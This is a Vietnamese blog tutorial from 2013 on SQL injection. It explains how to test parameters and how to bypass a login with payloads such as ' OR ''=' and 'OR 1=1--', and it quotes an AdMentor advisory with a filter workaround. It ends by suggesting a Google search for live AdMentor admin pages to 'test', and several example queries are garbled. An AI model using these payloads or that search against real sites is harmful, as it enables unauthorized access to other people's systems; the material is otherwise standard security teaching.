Thứ Ba, 8 tháng 10, 2013

on 1 comment

SQL Injection-part 1: bypass login page

SQL injection-part 1 bypass login page :
1 Background
Trước khi đọc tài liệu này, bạn nên có một khái niệm cơ bản về cơ sỡ dữ liệu và cách SQL được dùng để truy xuất chúng. Tôi xin giới thiệu các bạn tài liệu "Introduction to Database for Web Developers" của eXtropia.com tại địa chỉ http://www.extropia.com/tutorials/sql/toc.html
1.1 Tìm kiếm lổ hổng :
Bàn luận
Thật tế việc kiểm tra lỗi SQL Injection của một web application cần nhiều nỗ lực hơn mọi người tưởng. Thật là tốt đẹp nếu như ngay khi bạn thêm một dấu single quote (') vào gía trị của tham số đầu tiên trong một script và server trả lại một trang trắng với một lỗi ODBC trên đó, nhưng thật tế đó thì không phải đơn giản như vậy. Thật là dễ dàng để bỏ qua một đoạn script bị lỗi SQL Injection nếu như bạn không chú ý kỹ đến từng chi tiết.
Mọi tham số của mọi script trên server phải luôn luôn được kiểm tra một cách cẩn thận. Trong các appllication, programmer A viết script A có thể không cần quan tâm gì đến script B được phụ trách bởi programmer B , và khi script B bị phát hiện là có lỗi, người chịu trách nhiệm chính là anh B, anh A không liên quan gì hết. Thật tế, một programmer làm việc với Function A trong script A có thể không liên quan đến Function B ngay trong Script A, vì thế nếu một tham số trong script A có lỗi thì chưa chắc những tham số còn lại cũng có lỗi. Ngay cả khi nguyên cả một web applcation chỉ do một programmer độc lập thiết kế, viết code, kiểm tra, nhiều khi chỉ có một tham số có lỗi trong hàng ngàn các tham số, đơn giản là vì programmer đó quên kiểm tra data ở chỗ đó và chỉ ở chỗ đó mà thôi. Bạn không bao giờ có thể chắc chắn. Kiểm tra mọi thứ không bao giờ thừa.
2. Tiến hành kiểm tra :
Thay thế giá trị của từng tham số bằng một dấu nháy đơn (single quote) (') và một từ khoá của SQL ( ví dụ như "' WHERE"). Mỗi tham số phải được kiểm tra một cách riêng lẻ. Không những thế, khi kiểm tra từng tham số, phải không thay đổi của các tham số khác, và truyền cho chúng các giá trị hợp lệ. Nhiều người thường loại bỏ tất cả các tham số khác chỉ để lại tham số mà họ cần kiểm tra nhằm mục đích làm cho mọi việc trở nên đơn giản hơn, nhất là đối với các application có các tham số gồm mấy nghìn ký tự. Làm như vậy là sai lầm. Loại bỏ các tham số còn lại hoặc truyền cho chúng các giá trị không thích hợp khi bạn đang kiểm tra một tham số khác sẽ làm cho applcation xử lý theo cách khác, điều này ngăn cản bạn kiểm tra xem applcation đó có bị lỗi hay không. Để cho dễ hiểu hơn, mời các bạn xem qua ví dụ sau đây: giả sử một website có một "Feedback" appllication để bạn có thể liên lạc với webmaster của website đó. Nếu bạn muốn submit cái Feedback form này thì bạn phải điền vào tên và email của mình, giả sử như hai giá trị đó được lưu vào hai biến là $ContactName và $email. Bạn đã kiểm tra và nhận thấy rằng biến $Contactname không có lỗi, và bây giờ bạn muốn kiểm tra xem tham số "email" có lỗi hay không, bạn submit dòng giá trị không hợp lệ "ContactName=mArmIrO&email=' OR". Với dòng giá trị không hợp lệ, Feedback form sẽ phát sinh một lỗi ODBC và từ đó bạn có thể khẳng định chắc chắn là Feedback form đó có lỗi SQL Injection ở biến $email, tuy nhiên nếu bạn submit dòng giá trị tham số sau: "ContactName=BadContactNameValue&email='" thì có thể bạn sẽ không nhận được gì cả để có thể kết luận là có lỗi hay không. Đơn giản là nhiều khi programmer viết cái Feedback đó quy định nếu tham số $ContactName không có giá trị hoặc có giá trị không hợp lệ, thì sẽ gán $ContactName="Guess" và như thế bạn sẽ bỏ qua cái Feedback form vì cho rằng nó không có lỗi. Tới đây, có thể kết luận rằng điều cần phải nhớ khi kiểm tra SQL Injection là luôn luôn sử dụn tất cả các tham số, truyến cho chúng các giá trị hợp lệ ngoại trừ tham số bạn cần kiềm tra. Hãy nhớ câu nói cửa miệng của Rain Forest Puppy: "All is not lost".
2.1 Thu nhận kết quả :
Nếu như bạn nhận được một database server error thì chắc chắn rằng bạn có thể sử dụng SQL Injection để tấn công. Tuy nhiên, không phải lúc nào các database server error cũng rõ ràng cả. Mỗi developer đều có một cách viết code và một cách xử lý các error theo một cách riêng của họ, do đó bạn phải tìm kiếm thực kỹ các chứng cứ chứng tỏ rằng có thể sử dụng sql injection. Việc đầu tiên mà bạn cần làm là xem source của returned page ( page return lại khi bạn submit một dòng giá trị tham số không hợp lệ) để tìm kiếm các từ như "ODBC","SQL SERVER","Syntax"...Nhiều khi các chi tiết của error được lưu vào các hidden input, hoặc các comment...Kiểm tra luôn phần header và các link trên returned page, chú ý đến "302 page redirect", "500 Internal Server error page".
3. Tấn công
3.1 Vuợt qua các login page
3.1.1 Kỹ thuật "or"
Kỹ thuật đơn giản nhất của SQL Injectin là kỹ thuật vượt qua các login page hay còn gọi nôm na là kỹ thuật "or". Giả sử có một file login.asp như sau:
query="SELECT Username form Users WHERE Username='" & strusername & "' AND password ='"&strpassword & "'"
result=GetQueryResult(query)
If result="" Then
user=false
else
user=true
end if
......
Nếu hai biến strusername và strpassword có thể chứa tất cả các ký tự , bạn có thể chỉnh sửa câu lệnh SQL, từ đó bạn có thể login vào một cách dễ dàng. Làm việc đó như thế nào ? Bạn chỉ cần submit các giá trị:
Login:' OR "='
Password:' OR "='
Khi đó câu lệnh SQL sẽ trở thành
SELECT Username FROM Users where Username="" OR "=" AND password=" OR "="
Câu lệnh SQL trên một khi được thi hành sẽ trả về giá trị đầu tiên của field (trường) Username trong table(bảng) Users, và do đó bạn sẽ nghiễm nhiên có mọi quyền của user đó, nên nhớ là user đầu tiên của một web application thường có quyền admin.
Chú ý : kỹ thuật "or" sẽ không sử dụng được trong trường hợp câu lệnh query được chuyển tới cho một "stored procedure" xử lý, đơn giản vì SQL query khi được chạy trong một "stored procedure" không thể là một câu điều kiện, do đó sự xuất hiện của "or" sẽ làm phát sinh một syntax error. "Stored procedure" có trong các database server như MSSQL, Oracle, Postgres, không có trong MySQL.
3.1.2 Kỹ thuật ";--":
Trước tiên, xin bàn đến việc khi nào thì một câu lệnh query kết thúc. Đối với đa số database server, một câu lệnh query kết thúc khi gặp dấu ";", tuy nhiên có một số điểm cần lưu ý. MySQL không hỗ trợ multiple select ( hãy đọc TODO list của MySQL ), do đó đối với câu lệnh: mysql_query("select * from table1;select * from table2")MySQL chỉ thực thi câu lệnh thứ nhất và ném câu lệnh thứ hai vào...sọt rác. Đối với MS Access, thì dấu ";" tương đương với việc kết thúc câu lệnh và phía sau dấu ";" bắt buộc không có một ký tự nào khác ( ngoại trừ trường hợp của "UNION SELECT"), nói thật tôi vẫn chưa hiểu MS Access xử lý ra sao đối với dấu ";".Bây giờ xin bàn đến dấu "--" và dấu "#". Có một điều khá thú vị là MSSQL dùng dấu "--" để bắt đầu hiển thị các comment, và MySQL cũng hiển thị comment với dấu "#" (tương tự như dấu "//" để hiển thị comment trong PHP, dấu "'" trong ASP...). Như vậy thì chúng ta sẽ được lợi ích gì ? Hãy đọc kỹ phần phía dưới bạn sẽ rõ.
Trở lại với đoạn code login.asp ở phía trên và giả thiết thêm rằng đây là một MSSQL server. Nếu bạn submit các giá trị sau:
Login:blah' OR 1=1--
Password:blahblah
Câu lệnh query sẽ trở thành:
SELECT Username FROM Users where Username='blah' OR 1=1-- AND password=" OR "="
Hãy chú ý đến dấu "--", như đã nói ở trên, tất cả những gì ở phía sau "--" đều được MSSQL xem là comment, do đó câu lệnh thực sự chỉ là:
SELECT Username FROM Users where Username='blah' OR 1=1
Thấy gì chưa ? Bạn đã trở thành user đầu tiên rồi đó, nên nhớ đó thường là superuser.
Thậm chí bạn có thể login vào với tư cách của một user bất kỳ. Làm điều đó như thế nào ? Hãy tự tìm hiểu lấy .
Bổ sung thêm là hầu hết các web app lớn cho phép dùng sql đều mắc các vul giúp sql inject, đơn giản là như trong bài viết đề cập, trong hàng ngàn tham số có thể có vài tham số developer ko kiểm tra hết được, vấn đề là sơ hở có gây nên ảnh hưởng lớn hay ko. Với MS Access, các câu multiselect cách nhau bởi dấu ; sẽ được xử lý lần lượt (!?). Với cách inject dùng ;--, vd ở câu lệnh:
SELECT Username FROM Users where Username='blah' OR 1=1
một nguyên nhân giúp câu lệnh thực hiện thành công là ở đoạn kiểm tra điều kiện OR 1=1, dk này luôn trả về TRUE
SQL Injection là một trong những phương pháp mà các chuyên gia bảo mật thường xuyên sử dụng để tìm bug của các web app, các web forum...sau khi xác định được sơ hở, bước tiếp theo là tìm hiểu code để đưa ra cách fix, viết exploit...điều này mất rất nhiều thời gian.
Ví dụ cụ thể có thể áp dụng kĩ thuật SQL Injection các bạn có thể xem về lỗi login của Admentor, 1 web app về quảng cáo, lỗi này được phát hiện khá lâu rồi, nó cho phép login vào administration panel với username/pass là " or ''=", cụ thể như sau:
[
Admentor Login Flaw allow login as admin
Regarding : AdMentor v2.11 and earlier (tôi cũng đã test thành công trên version 2.20)
Homepage: http://www.aspcode.net
AdMentor allows any user to login as admin.
The base path of the login is usually :
http://www.someserver.com/admentor/admin/admin.asp
By using Login : ' or ''=' , and Password : ' or ''='
We create a legal query because it will get appended
as :SELECT row FROM table WHERE login = '' or
''=''
Same goes for the password. This allows us to login
without any trouble as the main admin. Vendor has
been warned of the bug, but has not released a patch
yet. Temporary solution, filter out the bad chars ' " ~ \
/ by using the following piece of javascript :
function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|
\-/g,"");
return strTemp; }
And calling it from within the asp script :
var login = var TempStr = RemoveBad
(Request.QueryString("login"));
var password = var TempStr = RemoveBad
(Request.QueryString("password"));
Iam not sure about the correct vars set in the form,
you might want to tweak it just a bit. Havent drunk my
coffee yet
(securityfocus)
còn khá nhiều site khác dùng admentor, có thể search bằng google dùng từ khóa "admentor/admin" để test.
Bài viết của W_Hat

SQL Injection-part 1: bypass login page

1 nhận xét:

  1. A để chữ nghiêng nghiêng hơi khó đọc tí :v
    Bài viết rất hữu ích. Tks a :D

    Trả lờiXóa